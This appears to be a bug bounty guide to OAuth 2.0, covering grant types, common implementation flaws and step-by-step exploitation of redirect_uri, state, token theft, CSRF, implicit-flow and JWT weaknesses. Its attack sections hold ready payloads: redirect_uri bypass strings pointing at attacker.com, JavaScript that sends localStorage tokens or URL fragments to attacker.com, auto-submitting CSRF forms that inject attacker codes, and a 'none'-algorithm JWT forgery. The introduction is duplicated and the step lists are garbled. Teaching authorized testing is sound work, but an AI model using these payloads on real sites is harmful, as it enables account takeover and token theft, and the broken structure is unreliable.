OAuth 2.0 Deep Dive for Bug Bounty Hunters: From A-Z

Introduction

Welcome to this comprehensive deep dive into OAuth 2.0, specifically tailored for bug bounty hunters aiming to become experts in this critical area of web security. OAuth 2.0 is a widely adopted authorization framework that enables third-party applications to access user resources without exposing their credentials. While it offers significant benefits in terms of user experience and security, its complexity can lead to misconfigurations and vulnerabilities that, if exploited, can result in severe security breaches, including account takeovers and data leakage.

This research document is designed to take you from the foundational concepts of OAuth 2.0 to advanced exploitation techniques. We will explore the core mechanics of OAuth 2.0, dissect common implementation flaws, delve into sophisticated attack vectors, analyze real-world bug bounty case studies, and provide practical guidelines and checklists to aid your testing efforts. By the end of this guide, you will have a robust understanding of how to identify, exploit, and report OAuth 2.0 vulnerabilities, ultimately helping you to secure applications and profit from your bug bounty hunting endeavors.

Our journey will cover:

- **OAuth 2.0 Fundamentals**: Understanding the roles, grant types, tokens, and core principles of the OAuth 2.0 framework.
- **Common Implementation Vulnerabilities**: Analyzing typical misconfigurations and weaknesses found in OAuth 2.0 setups.
- **Attack Vectors and Exploitation Methods**: A detailed look at how attackers exploit OAuth 2.0 vulnerabilities, with step-by-step guides.
- **Real-World Case Studies**: Learning from disclosed bug bounty reports to understand practical exploitation and impact.
- **Bug Bounty Hunter's Checklist and Guidelines**: A comprehensive checklist and set of actionable guidelines for testing OAuth 2.0 implementations.

Let's begin our exploration into the world of OAuth 2.0 and uncover the opportunities it presents for skilled bug bounty hunters.

OAuth 2.0 Deep Dive for Bug Bounty Hunters: From A-Z

Introduction

Welcome to this comprehensive deep dive into OAuth 2.0, specifically tailored for bug bounty hunters aiming to become experts in this critical area of web security. OAuth 2.0 is a widely adopted authorization framework that enables third-party applications to access user resources without exposing their credentials. While it offers significant benefits in terms of user experience and security, its complexity can lead to misconfigurations and vulnerabilities that, if exploited, can result in severe security breaches, including account takeovers and data leakage.

This research document is designed to take you from the foundational concepts of OAuth 2.0 to advanced exploitation techniques. We will explore the core mechanics of OAuth 2.0, dissect common implementation flaws, delve into sophisticated attack vectors, analyze real-world bug bounty case studies, and provide practical guidelines and checklists to aid your testing efforts. By the end of this guide, you will have a robust understanding of how to identify, exploit, and report OAuth 2.0 vulnerabilities, ultimately helping you to secure applications and profit from your bug bounty hunting endeavors.

Our journey will cover:

- **OAuth 2.0 Fundamentals**: Understanding the roles, grant types, tokens, and core principles of the OAuth 2.0 framework.
- **Common Implementation Vulnerabilities**: Analyzing typical misconfigurations and weaknesses found in OAuth 2.0 setups.
- **Attack Vectors and Exploitation Methods**: A detailed look at how attackers exploit OAuth 2.0 vulnerabilities, with step-by-step guides.
- **Real-World Case Studies**: Learning from disclosed bug bounty reports to understand practical exploitation and impact.
- **Bug Bounty Hunter's Checklist and Guidelines**: A comprehensive checklist and set of actionable guidelines for testing OAuth 2.0 implementations.

Let's begin our exploration into the world of OAuth 2.0 and uncover the opportunities it presents for skilled bug bounty hunters.

OAuth 2.0 Fundamentals

Introduction

OAuth 2.0 is an authorization framework that enables third-party applications to obtain limited access to a user's account on another service. It has become the industry standard for online authorization and is used by many major technology companies including Google, Facebook, Microsoft, and Twitter. For bug bounty hunters, understanding OAuth 2.0 is crucial as its implementation complexities often lead to security vulnerabilities that can be exploited.

This section provides a comprehensive overview of OAuth 2.0 fundamentals, serving as the foundation for identifying and exploiting vulnerabilities in implementations across various platforms.

Core Concepts and Terminology

OAuth 2.0 was designed to solve a specific problem: allowing a third-party application to access a user's resources without requiring the user to share their credentials. Before OAuth, users would often have to provide their username and password to third-party applications, giving them complete access to their accounts. OAuth 2.0 introduced a more secure and flexible approach through delegated authorization.

The OAuth 2.0 framework, as defined in RFC 6749, involves several key roles:

1. **Resource Owner**: The user who owns the data or resources (typically the end-user).
2. **Client**: The third-party application requesting access to the user's resources.
3. **Authorization Server**: The server that authenticates the resource owner and issues access tokens after getting proper authorization.
4. **Resource Server**: The server hosting the protected resources, capable of accepting and responding to requests using access tokens.

In many implementations, the authorization server and resource server are part of the same service, though they can be separate entities in more complex architectures.

OAuth 2.0 Flows (Grant Types)

OAuth 2.0 defines several "flows" or "grant types" to accommodate different types of client applications and use cases. Understanding these flows is essential for bug bounty hunters as each has its own security considerations and potential vulnerabilities.

Authorization Code Flow

The Authorization Code flow is the most commonly used and most secure OAuth 2.0 flow. It's designed for server-side applications that can securely store a client secret.

The flow works as follows:

1. The client redirects the user to the authorization server with its client identifier, requested scope, local state, and a redirect URI.
2. The authorization server authenticates the user and obtains authorization.
3. If the user grants authorization, the authorization server redirects back to the client using the redirect URI provided earlier with an authorization code.
4. The client requests an access token from the authorization server by including the authorization code and its client secret.
5. The authorization server validates the authorization code and client secret, then returns an access token and optionally a refresh token.

This flow is considered secure because the access token is never exposed to the browser or mobile app, reducing the risk of token leakage.

Implicit Flow

The Implicit flow was designed for browser-based applications or mobile apps that cannot securely store a client secret. However, it is now considered less secure and has been largely superseded by the Authorization Code flow with PKCE (Proof Key for Code Exchange).

In the Implicit flow:

1. The client redirects the user to the authorization server with its client identifier, requested scope, local state, and a redirect URI.
2. The authorization server authenticates the user and obtains authorization.
3. If the user grants authorization, the authorization server redirects back to the client with an access token directly in the URI fragment.
4. The client extracts the access token from the URI fragment.

This flow is more vulnerable to token leakage as the access token is exposed in the browser URL.

Client Credentials Flow

The Client Credentials flow is used when the client is acting on its own behalf rather than on behalf of a user. This is typically used for server-to-server communication where a specific user's permission is not required.

In this flow:

1. The client authenticates with the authorization server using its client ID and client secret.
2. If authentication is successful, the authorization server issues an access token to the client.

Resource Owner Password Credentials Flow

This flow allows the client to request an access token using the resource owner's username and password. It should only be used when there is a high degree of trust between the resource owner and the client, such as first-party applications.

In this flow:

1. The user provides their username and password directly to the client application.
2. The client sends these credentials to the authorization server along with its own authentication.
3. The authorization server validates the credentials and issues an access token to the client.

This flow is generally discouraged due to security concerns, as it requires the client to handle the user's credentials directly.

Authorization Code Flow with PKCE

The Authorization Code flow with PKCE (Proof Key for Code Exchange) is an extension to the Authorization Code flow designed to protect against certain attacks when used by public clients (like mobile apps or single-page applications).

PKCE adds the following steps to the Authorization Code flow:

1. The client creates a cryptographically random "code verifier" and generates a "code challenge" from it.
2. The client includes the code challenge with the authorization request.

3. The authorization server stores the code challenge and issues an authorization code.
4. When exchanging the authorization code for an access token, the client includes the original code verifier.
5. The authorization server verifies that the code verifier matches the original code challenge before issuing the access token.

This flow is now recommended for all public clients instead of the Implicit flow.

OAuth 2.0 Tokens

OAuth 2.0 uses different types of tokens to grant and manage access:

Access Tokens

Access tokens are credentials used to access protected resources. They represent the authorization granted to the client by the resource owner. Access tokens are typically opaque strings and may have different formats depending on the implementation.

Access tokens have a limited lifetime, after which they expire and can no longer be used to access resources.

Refresh Tokens

Refresh tokens are credentials used to obtain new access tokens when the current access token expires. Unlike access tokens, refresh tokens are intended for use only with the authorization server and are typically long-lived.

Not all grant types issue refresh tokens, and their use is optional in OAuth 2.0.

ID Tokens

While not part of the core OAuth 2.0 specification, ID tokens are used in OpenID Connect (an identity layer built on top of OAuth 2.0) to provide information about the authenticated user. ID tokens are typically formatted as JSON Web Tokens (JWTs).

Scopes

Scopes in OAuth 2.0 define the specific permissions that a client is requesting. They limit what a client can do with the access token. For example, a client might request the scope "read_contacts" to read a user's contacts but not modify them.

Scopes are an important security feature as they implement the principle of least privilege, ensuring that clients only have access to the resources they need.

OAuth 2.0 for Authentication

Although OAuth 2.0 was designed as an authorization framework, it is commonly used for authentication as well. This practice, known as "pseudo-authentication," involves using OAuth 2.0 to verify a user's identity by requesting access to some of their protected resources.

OpenID Connect (OIDC) was developed as an extension to OAuth 2.0 to provide a standardized way to use OAuth 2.0 for authentication. OIDC adds an ID token and a UserInfo endpoint to the OAuth 2.0 protocol, making it more suitable for authentication purposes.

Security Considerations

OAuth 2.0 security depends heavily on proper implementation. The specification intentionally leaves many security decisions to the implementer, which can lead to vulnerabilities if not handled correctly.

Some key security considerations include:

1. **TLS/SSL**: All OAuth 2.0 communications should be protected using TLS/SSL to prevent token interception.
2. **State Parameter**: The state parameter should be used to prevent cross-site request forgery (CSRF) attacks.
3. **Redirect URI Validation**: Authorization servers should strictly validate redirect URIs to prevent open redirector vulnerabilities.
4. **Token Storage**: Access tokens should be stored securely to prevent token leakage.
5. **Token Expiration**: Access tokens should have a limited lifetime to minimize the impact of token leakage.
6. **Scope Validation**: Resource servers should validate that the token's scope allows the requested operation.

Understanding these security considerations is crucial for bug bounty hunters looking to identify vulnerabilities in OAuth 2.0 implementations.

OAuth 2.0 vs. OAuth 1.0

OAuth 2.0 is not backwards compatible with OAuth 1.0 or OAuth 1.0a. The key differences include:

1. **Simplicity**: OAuth 2.0 is designed to be simpler to implement than OAuth 1.0.
2. **Signatures**: OAuth 1.0 required cryptographic signatures for all requests, while OAuth 2.0 relies on TLS/SSL for transport security.
3. **User Experience**: OAuth 2.0 provides a better user experience with more flexible authorization flows.
4. **Scalability**: OAuth 2.0 is designed to work better at scale, with less computational overhead.
5. **Token Types**: OAuth 2.0 introduces different token types and grant types for different use cases.

Most modern implementations use OAuth 2.0, and OAuth 1.0 is considered deprecated.

References

1. RFC 6749 - The OAuth 2.0 Authorization Framework
2. OAuth 2.0 Simplified by Aaron Parecki
3. OAuth.net - OAuth 2.0
4. PortSwigger Web Security Academy - OAuth 2.0 authentication vulnerabilities
5. An Introduction to OAuth 2 - DigitalOcean
6. OAuth Flows Explained - Frontegg

OAuth 2.0 Implementation Vulnerabilities

Introduction

While OAuth 2.0 provides a robust framework for authorization, its implementation complexity often leads to security vulnerabilities. This section explores common OAuth 2.0 vulnerabilities that bug bounty hunters should focus on, drawing from real-world examples, technical research, and security advisories.

Understanding these vulnerabilities is crucial for bug bounty hunters as OAuth 2.0 implementations are widespread across major platforms and frequently contain security flaws that can lead to significant bounties.

Common OAuth 2.0 Vulnerabilities

Redirect URI Manipulation

Redirect URI manipulation is one of the most common and dangerous OAuth 2.0 vulnerabilities. The OAuth 2.0 specification requires that authorization servers validate the redirect_uri parameter to ensure it matches a pre-registered URI. However, many implementations perform insufficient validation.

Vulnerability Details

When an OAuth service doesn't properly validate the redirect_uri parameter, attackers can manipulate it to redirect authorization codes or tokens to attacker-controlled endpoints. This allows them to steal valid authorization codes or access tokens and gain unauthorized access to user accounts or protected resources.

A common method of exploiting this vulnerability involves:

1. Initiating a legitimate OAuth flow
2. Modifying the redirect_uri parameter to point to an attacker-controlled domain
3. Tricking a victim into completing the OAuth flow
4. Intercepting the authorization code or token when the victim is redirected

Common Bypass Techniques

Bug bounty hunters should be aware of these common redirect_uri validation bypass techniques:

- Path traversal: `https://legitimate-app.com/../attacker.com`
- Subdomain confusion: `https://attacker.com.legitimate-app.com`
- Open redirectors: `https://legitimate-app.com/redirect?url=https://attacker.com`
- Parameter pollution: `https://legitimate-app.com/callback?redirect_uri=https://attacker.com`
- URL encoding tricks: `https://legitimate-app.com%252f%252fattacker.com`
- Additional characters:
- `https://legitimate-app.com%2f%2f.attacker.com`

- `https://legitimate-app.com%5c%5c.attacker.com`
- `https://legitimate-app.com%3F.attacker.com`
- `https://legitimate-app.com%23.attacker.com`
- `https://legitimate-app.com:80%40attacker.com`
- `https://legitimate-app.com%2eattacker.com`

Missing or Weak State Parameter

The state parameter in OAuth 2.0 is designed to prevent Cross-Site Request Forgery (CSRF) attacks. It serves as a unique, unguessable value that binds the client's request to the user's session.

Vulnerability Details

When the state parameter is missing, weak, or not validated properly, attackers can perform CSRF attacks against the OAuth client. This can lead to account hijacking or unauthorized actions performed on behalf of the victim.

A typical attack scenario involves:

1. The attacker initiates an OAuth flow with their own account
2. The attacker obtains an authorization code but doesn't complete the flow
3. The attacker crafts a malicious page that forces the victim's browser to send the attacker's authorization code to the client's callback endpoint
4. If the client doesn't validate the state parameter, it will exchange the code for an access token and associate it with the victim's session

Token Leakage

OAuth tokens, particularly access tokens, are high-value targets for attackers as they grant access to protected resources.

Vulnerability Details

Token leakage can occur through several vectors:

1. **Improper Storage**: Storing tokens in insecure locations such as localStorage, unprotected cookies, or client-side code
2. **Referrer Leakage**: When tokens are included in URLs and the application doesn't implement proper referrer policies
3. **Browser History**: Tokens in URL fragments can be exposed through browser history
4. **Insecure Communication**: Transmitting tokens over non-HTTPS connections

5. **Log Files**: Tokens being logged in server logs, error messages, or analytics platforms

Insufficient Token Validation

OAuth 2.0 relies on proper token validation to ensure security. However, many implementations fail to perform adequate validation checks.

Vulnerability Details

Common token validation issues include:

1. **Missing Signature Verification**: Not verifying JWT signatures or using weak algorithms
2. **Accepting Expired Tokens**: Not checking token expiration times
3. **Insufficient Scope Checking**: Not validating that the token has the required scopes for the requested action
4. **Missing Audience Validation**: Not verifying that the token was issued for the correct audience
5. **Accepting Tokens from Unintended Issuers**: Not validating the token issuer

Cross-Site Request Forgery (CSRF) in OAuth Flows

CSRF vulnerabilities in OAuth implementations can allow attackers to initiate unwanted OAuth flows or manipulate existing ones.

Vulnerability Details

CSRF attacks against OAuth typically target:

1. **Authorization Endpoints**: Forcing users to authorize applications they didn't intend to
2. **Token Exchange Endpoints**: Injecting attacker-controlled authorization codes into victim sessions
3. **Account Linking Flows**: Tricking users into linking their accounts with attacker-controlled third-party accounts

A real-world example of this vulnerability involves:

1. An attacker creates a malicious website with an iframe or img tag pointing to the OAuth client's callback URL with the attacker's authorization code
2. When the victim visits the malicious site, their browser automatically sends a request to the callback URL

3. If the client doesn't validate the state parameter, it processes the attacker's authorization code in the context of the victim's session

Account Takeover via OAuth

OAuth vulnerabilities can lead to complete account takeover in various scenarios.

Vulnerability Details

Common account takeover vectors include:

1. **Implicit Flow Vulnerabilities**: When applications don't properly validate that the access token matches the user data
2. **Pre-Account Takeover**: When OAuth is used for registration and the implementation doesn't verify email ownership
3. **Account Linking Flaws**: When the process of linking social accounts to existing accounts is insecure

A typical attack scenario for implicit flow vulnerabilities:

1. The attacker initiates an OAuth flow and receives an access token for their own account
2. During the authentication process, the attacker modifies the user information (like email) to match the victim's account
3. If the application doesn't verify that the access token corresponds to the claimed identity, the attacker gains access to the victim's account

Open Redirector Exploitation

Many OAuth implementations include redirect functionality that can be exploited if not properly secured.

Vulnerability Details

Open redirectors in OAuth contexts can be exploited to:

1. Steal authorization codes or tokens by redirecting users to malicious sites
2. Perform phishing attacks by redirecting users to fake login pages
3. Bypass redirect_uri validation by using legitimate redirectors within the trusted domain

Insecure Client Secret Storage

OAuth client secrets should be kept confidential, but many implementations fail to protect them adequately.

Vulnerability Details

Common issues with client secret handling include:

1. **Embedding in Client-Side Code**: Including secrets in JavaScript, mobile app code, or other client-side locations
2. **Insecure Storage**: Storing secrets in plaintext configuration files, databases without proper encryption, or version control systems
3. **Oversharing**: Providing client secrets to third-party services or developers who don't need access

Server-Side Request Forgery (SSRF) via OAuth

Some OAuth implementations, particularly those supporting dynamic client registration, can be vulnerable to SSRF attacks.

Vulnerability Details

SSRF vulnerabilities in OAuth typically arise from:

1. **Dynamic Client Registration**: When the registration endpoint fetches metadata from client-provided URLs without proper validation
2. **Token Introspection**: When token validation involves making HTTP requests to URLs derived from user input
3. **Discovery Mechanisms**: When OpenID Connect discovery processes fetch configuration from user-influenced URLs

A real-world example involves OpenID Connect's dynamic client registration:

1. An attacker registers a new client with the authorization server
2. During registration, the attacker provides a logo_uri or jwks_uri pointing to an internal network resource
3. When the server fetches the resource, it may expose internal network information or allow the attacker to interact with internal services

Scope Manipulation

OAuth scopes define the permissions granted to client applications. Manipulating these scopes can lead to privilege escalation.

Vulnerability Details

Scope manipulation vulnerabilities include:

1. **Scope Upgrade**: When applications don't validate that the returned scope matches what was requested
2. **Missing Scope Validation**: When resource servers don't check if the token has the required scopes
3. **Scope Confusion**: When scope names are ambiguous or poorly defined, leading to misinterpretation

Platform-Specific Vulnerabilities

Google OAuth Implementation Issues

Google's OAuth implementation, while generally robust, has had several vulnerabilities:

1. **Redirect URI Validation**: Historical issues with subdomain validation and path traversal in redirect_uri validation
2. **Cross-Client Identity Theft**: Vulnerabilities allowing one client to steal tokens meant for another
3. **G Suite Domain-Wide Delegation**: Misconfigurations leading to excessive privilege grants

Facebook OAuth Implementation Issues

Facebook's OAuth implementation has experienced vulnerabilities including:

1. **Access Token Leakage**: Through referrer headers and third-party integrations
2. **Insufficient Redirect Validation**: Allowing redirect to attacker-controlled domains through various bypasses
3. **State Parameter Issues**: Historical problems with state parameter validation

Microsoft OAuth Implementation Issues

Microsoft's OAuth implementation has had vulnerabilities such as:

1. **Token Handling Flaws**: Issues with token validation and handling
2. **Subdomain Takeovers**: Leading to redirect_uri bypasses
3. **Cross-Tenant Vulnerabilities**: In multi-tenant Azure AD implementations

Emerging Vulnerabilities

OAuth 2.0 for Native Apps

OAuth for mobile and desktop applications presents unique challenges:

1. **Custom URL Scheme Hijacking**: When multiple apps register the same custom URL scheme
2. **Lack of PKCE**: Older implementations not using Proof Key for Code Exchange, leading to authorization code interception
3. **In-App Browser Vulnerabilities**: When OAuth flows occur within embedded browsers that may be monitored by the app

OAuth for Single-Page Applications (SPAs)

SPAs face specific OAuth security challenges:

1. **Token Storage**: Difficulties in securely storing tokens in browser-only applications
2. **Cross-Origin Issues**: Problems with cross-origin requests and token usage
3. **Implicit Flow Risks**: Historical use of the now-discouraged implicit flow

References

1. Doyensec. (2025, January 30). Common OAuth Vulnerabilities. https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
2. Vaadata. (2025, January 9). Understanding OAuth 2.0 and its Common Vulnerabilities. https://www.vaadata.com/blog/understanding-oauth-2-0-and-its-common-vulnerabilities/
3. Cobalt. (2023, March 20). OAuth Vulnerabilites Pt. 2. https://www.cobalt.io/blog/oauth-vulnerabilites-pt.-2
4. PortSwigger. (n.d.). OAuth 2.0 authentication vulnerabilities. Web Security Academy. https://portswigger.net/web-security/oauth
5. HackerOne. (n.d.). Report #665651 - Stealing Users OAuth Tokens through redirect_uri. https://hackerone.com/reports/665651
6. HackerOne. (n.d.). Report #1074047 - Misconfigured oauth leads to Pre account takeover. https://hackerone.com/reports/1074047
7. HackerOne. (n.d.). Report #131202 - [Critical] - Steal OAuth Tokens. https://hackerone.com/reports/131202

OAuth 2.0 Attack Vectors and Exploitation Methods

Introduction

This section provides a comprehensive deep dive into OAuth 2.0 attack vectors and exploitation methods, with a focus on practical techniques that bug bounty hunters can use to identify and exploit vulnerabilities. Each attack vector is explained with step-by-step exploitation methods, real-world examples, and practical advice for maximizing bug bounty rewards.

Redirect URI Manipulation Attacks

Redirect URI manipulation is one of the most common and lucrative attack vectors in OAuth 2.0 implementations. This section covers advanced techniques for identifying and exploiting redirect_uri vulnerabilities.

Step-by-Step Exploitation Guide

1. **Reconnaissance Phase**
2. Identify the OAuth provider being used (Google, Facebook, Microsoft, custom implementation)
3. Capture the authorization request to analyze parameters
4. Note the original `redirect_uri` value and format
5. **Parameter Analysis**
6. Check if the `redirect_uri` is fully validated or only partially validated
7. Look for patterns in allowed redirect URIs (domain, path, parameters)
8. Identify any whitelisting or validation mechanisms
9. **Bypass Techniques**
10. **Path Traversal**: Try adding path traversal sequences `https://legitimate-app.com/callback/../redirect?url=https://attacker.com`

11. **Subdomain Confusion**: Test if subdomains are properly validated `https://attacker-controlled-subdomain.legitimate-app.com https://legitimate-app.com.attacker.com`

12. **Parameter Pollution**: Add duplicate parameters to confuse parsers `https://legitimate-app.com/callback?redirect_uri=https://attacker.com`

13. **URL Encoding Tricks**: Use different encoding schemes to bypass filters `https://legitimate-app.com%252f%252fattacker.com https://legitimate-app.com%2f%2f.attacker.com https://legitimate-app.com%5c%5c.attacker.com`

14. **Additional Characters**: Insert special characters that might be ignored `https://legitimate-app.com%3F.attacker.com https://legitimate-app.com%23.attacker.com https://legitimate-app.com:80%40attacker.com https://legitimate-app.com%2eattacker.com`

15. **Open Redirector Exploitation**: Chain with existing open redirectors `https://legitimate-app.com/redirect?url=https://attacker.com`

16. **Exploitation**

17. Set up a listener on your controlled domain to capture tokens or codes
18. Craft a URL with the manipulated `redirect_uri`

19. If successful, the authorization code or token will be sent to your controlled domain

20. **Post-Exploitation**

21. Exchange the authorization code for an access token if needed
22. Use the access token to access protected resources
23. Document the impact by demonstrating the data access (without actually accessing sensitive data)

Real-World Example

In a recent bug bounty program, a researcher discovered that a major financial application was validating redirect URIs by checking if they started with the expected domain, but not validating the rest of the URL. This allowed an attack using:

```
https://legitimate-app.com@attacker.com
```

The application saw the legitimate domain at the beginning but actually redirected to attacker.com, allowing the capture of authorization codes and complete account takeover.

Bug Bounty Tips

- Focus on applications that use multiple redirect URIs or have complex validation logic
- Look for OAuth implementations that support custom URL schemes (mobile apps)
- Test all OAuth endpoints, not just the main login flow
- Document the full impact of the vulnerability to maximize bounty rewards

State Parameter Attacks

The state parameter in OAuth 2.0 is designed to prevent CSRF attacks, but when improperly implemented, it can lead to account takeover vulnerabilities.

Step-by-Step Exploitation Guide

1. **Reconnaissance Phase**
2. Capture the OAuth authorization request
3. Check if the state parameter is present

4. Analyze the format and content of the state parameter

5. **Vulnerability Assessment**

6. **Missing State Parameter**: Check if the state parameter is absent entirely
7. **Static State Parameter**: Test if the same state value is used across sessions
8. **Predictable State Parameter**: Analyze if the state value follows a pattern

9. **Unvalidated State Parameter**: Check if the application validates the returned state

10. **Exploitation Techniques**

11. **CSRF Attack on OAuth Flow**:

    1. Start an OAuth flow with your own account
    2. Capture the authorization request but don't complete the flow
    3. Create an HTML page with an iframe or img tag pointing to the victim's callback URL with your authorization code: `html <iframe src="https://client-app.com/callback?code=YOUR_AUTH_CODE&state=ANY_VALUE"></iframe>`

    4. When the victim visits your malicious page, their browser sends the request to the callback URL
    5. If the client doesn't validate the state parameter, it processes your authorization code in the context of the victim's session

12. **Account Linking Attack**:

    1. Identify an OAuth account linking functionality
    2. Generate an authorization code for your social account but drop the request
    3. Create a malicious HTML file that forces the victim's browser to send a request with your code
    4. When the victim visits the page, your social account gets linked to their account

13. **Post-Exploitation**

14. Demonstrate how the attack leads to account takeover
15. Show how an attacker could maintain persistent access

Real-World Example

A researcher found that a popular e-commerce platform was implementing OAuth for social login but wasn't validating the state parameter. The researcher created a simple HTML page with:

```html
<img src="https://ecommerce-site.com/oauth/callback?
code=ATTACKER_CODE" style="display:none">
```

When a victim with an active session on the e-commerce site visited this page, the attacker's authorization code was processed in the context of the victim's session, linking the attacker's social account to the victim's e-commerce account.

Bug Bounty Tips

- Look for OAuth implementations that don't use the state parameter at all
- Test if the state parameter is validated properly when returned
- Check if the state parameter is bound to the user's session
- Document the full impact by showing how an attacker could take over accounts

Token Theft Techniques

OAuth tokens are high-value targets for attackers, as they provide direct access to protected resources. This section covers advanced techniques for stealing OAuth tokens.

Step-by-Step Exploitation Guide

1. **Reconnaissance Phase**
2. Identify where tokens are stored (localStorage, cookies, etc.)
3. Determine token transmission methods (URL fragments, POST bodies)

4. Check for token exposure in logs, referrers, or error messages

5. **Exploitation Techniques**

6. **Client-Side Token Exposure**:

    - **XSS to Access Token Storage**: `javascript // If tokens are stored in localStorage fetch('https://attacker.com/steal?token=' + localStorage.getItem('oauth_token'));`

    - **Malicious JavaScript in OAuth Flow**: `javascript // Intercept token from URL fragment window.location = 'https://attacker.com/steal?token=' + location.hash.substr(1);`

7. **Token Leakage via Referrer**:

    1. Identify pages that include tokens in URLs
    2. Check if these pages link to external resources
    3. Set up a page that gets linked from the token-containing page
    4. Extract the token from the Referer header

8. **Proxy Page Attack**:

    1. Find an XSS or HTML injection vulnerability in the client application
    2. Inject a script that acts as a proxy for the OAuth flow
    3. When the victim completes authentication, intercept the token
    4. Forward the token to your controlled server

9. **Advanced Token Theft**:

10. **Subdomain Takeover for Token Interception**:

    1. Identify unused subdomains of the OAuth client
    2. Check if any of these subdomains can be taken over

   3. If successful, register the subdomain and set up a listener
   4. Craft a redirect_uri pointing to your controlled subdomain

11. **Stealing Tokens via Postmessage**:

    1. Identify OAuth flows that use postMessage for communication
    2. Check if proper origin validation is implemented
    3. Create a malicious page that can receive postMessages
    4. Trick the victim into initiating the OAuth flow from your page

12. **Post-Exploitation**:

13. Use the stolen token to access protected resources
14. Check token scope and permissions
15. Test token lifetime and refresh capabilities

Real-World Example

A security researcher discovered that a major SaaS platform was using the implicit flow and including the access token in the URL fragment. The application also had a feature that allowed users to share links to specific views. When a user shared a link immediately after authentication, the access token was included in the URL and leaked via the Referer header when the recipient clicked on any external link within the application.

Bug Bounty Tips

- Focus on applications using the implicit flow, which is more prone to token leakage
- Look for token exposure in error messages, logs, or browser history
- Check for proper token storage and transmission methods
- Test for token binding to prevent stolen tokens from being used elsewhere

Cross-Site Request Forgery in OAuth

CSRF vulnerabilities in OAuth can lead to unauthorized actions, including account takeover and data exposure.

Step-by-Step Exploitation Guide

1. **Reconnaissance Phase**
2. Identify OAuth endpoints that might be vulnerable to CSRF
3. Check for CSRF protections (tokens, SameSite cookies)

4. Analyze the flow of OAuth requests and responses

5. **Vulnerability Assessment**

6. **Missing CSRF Protection**: Check if CSRF tokens are absent
7. **Improper CSRF Validation**: Test if CSRF tokens are properly validated

8. **Bypassing CSRF Protection**: Look for ways to bypass existing protections

9. **Exploitation Techniques**

10. **CSRF on Authorization Endpoint**: `html <img src="https://oauth-provider.com/authorize?client_id=CLIENT_ID&redirect_uri=https://attacker.com&response_type=token&scope=email" style="display:none">`

11. **CSRF on Token Exchange Endpoint**: `html <form action="https://client-app.com/callback" method="POST" id="csrf-form"> <input type="hidden" name="code" value="ATTACKER_CODE"> </form> <script>document.getElementById('csrf-form').submit();</script>`

12. **CSRF on Account Linking**: `html <img src="https://client-app.com/link-account?provider=google" style="display:none">`

13. **Post-Exploitation**

14. Demonstrate how the CSRF attack leads to unauthorized actions
15. Show the impact on user data or account security

Real-World Example

A researcher found that a popular project management tool allowed users to link their accounts with various OAuth providers. The account linking process was vulnerable to CSRF because it didn't include any CSRF protection. The researcher created a simple HTML page that, when visited by a logged-in user, would initiate the account linking process with the attacker's OAuth account, effectively giving the attacker access to the victim's project management account.

Bug Bounty Tips

- Look for OAuth flows that don't use the state parameter or other CSRF protections
- Test account linking and unlinking functionality
- Check if the application validates the origin of OAuth requests

- Document the full impact by showing how an attacker could gain unauthorized access

Implicit Flow Vulnerabilities

The implicit flow is particularly vulnerable to various attacks due to its design of exposing tokens directly to the browser.

Step-by-Step Exploitation Guide

1. **Reconnaissance Phase**
2. Identify applications using the implicit flow
3. Analyze how tokens are handled and validated
4. Check for additional security measures
5. **Vulnerability Assessment**
6. **Token Exposure**: Check if tokens are exposed in URLs or browser storage
7. **Insufficient Validation**: Test if the application properly validates tokens
8. **Token Injection**: Check if you can inject tokens from different users
9. **Exploitation Techniques**
10. **Token Substitution Attack**:
    1. Obtain a valid token for your own account
    2. Identify the endpoint where user information is retrieved using the token
    3. Test if you can modify user information (like email) while keeping the same token
    4. If successful, you can access another user's account while using your own token
11. **Fragment Disclosure**:
    1. Find pages that might leak URL fragments to third parties
    2. Test if tokens in fragments can be leaked via referrer headers
    3. Create a proof-of-concept that captures leaked tokens
12. **Cross-Origin Token Theft**:
    1. Look for cross-origin resource sharing (CORS) misconfigurations
    2. Test if you can make cross-origin requests that include tokens
    3. Exploit CORS to steal tokens from other origins

13. **Post-Exploitation**

14. Use the compromised token to access protected resources
15. Demonstrate the impact by showing unauthorized access

Real-World Example

A researcher discovered that a financial services application was using the implicit flow and not properly validating that the user information matched the token. The researcher was able to obtain a token for their own account, then modify the user ID in the API request while keeping the same token. This allowed them to access other users' financial information despite using their own valid token.

Bug Bounty Tips

- Focus on applications still using the implicit flow despite its deprecation
- Look for insufficient validation of token-to-user relationships
- Test for token leakage through browser features like referrer headers
- Document the full impact by showing how sensitive data could be accessed

Advanced OAuth Exploitation Techniques

This section covers more sophisticated attack techniques that combine multiple vulnerabilities or target specific OAuth implementations.

Open Redirector Chaining

1. **Identification**:
2. Look for open redirectors in the target application

3. Check if these redirectors can be used in OAuth flows

4. **Exploitation**: `https://oauth-provider.com/authorize?client_id=CLIENT_ID&redirect_uri=https://legitimate-app.com/redirector?url=https://attacker.com`

5. **Impact**: Allows bypassing redirect_uri validation to steal tokens or codes

JWT Token Vulnerabilities

1. **Weak Signature Verification**:
2. Check if the application verifies JWT signatures
3. Test for "none" algorithm acceptance

4. Look for weak signing keys

5. **JWT Token Manipulation**:

6. Decode the JWT to inspect claims
7. Modify claims (e.g., user ID, roles)

8. Re-sign with a weak or no signature

9. **Example Attack**: ```javascript // Original JWT // eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4g

// Modified JWT with "none" algorithm // eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFkbWluIiwia
```

## OAuth Scope Manipulation

1. **Identification**:
2. Analyze available scopes in the OAuth implementation

3. Check if scope validation is properly implemented

4. **Exploitation**:

5. Modify the scope parameter to request additional permissions

6. Test for scope escalation vulnerabilities `https://oauth-provider.com/authorize?client_id=CLIENT_ID&redirect_uri=https://legitimate-app.com/callback&scope=email+profile+admin`

7. **Impact**: Gaining excessive permissions to access sensitive data or functionality

## Account Takeover via Pre-Account Linking

1. **Identification**:
2. Look for OAuth registration flows

3. Check if email verification is required before account creation

4. **Exploitation**:

5. Start an OAuth flow with a provider where you control an email (e.g., attacker@gmail.com)
6. Complete the flow but observe if the application creates an account without verification
```

7. If a victim later tries to register with the same email, they might be given access to your pre-created account

8. **Impact**: Allows attackers to take over accounts of specific users

Cross-Site WebSocket Hijacking in OAuth

1. **Identification**:
2. Check if the application uses WebSockets for OAuth-related communication

3. Look for missing origin validation in WebSocket connections

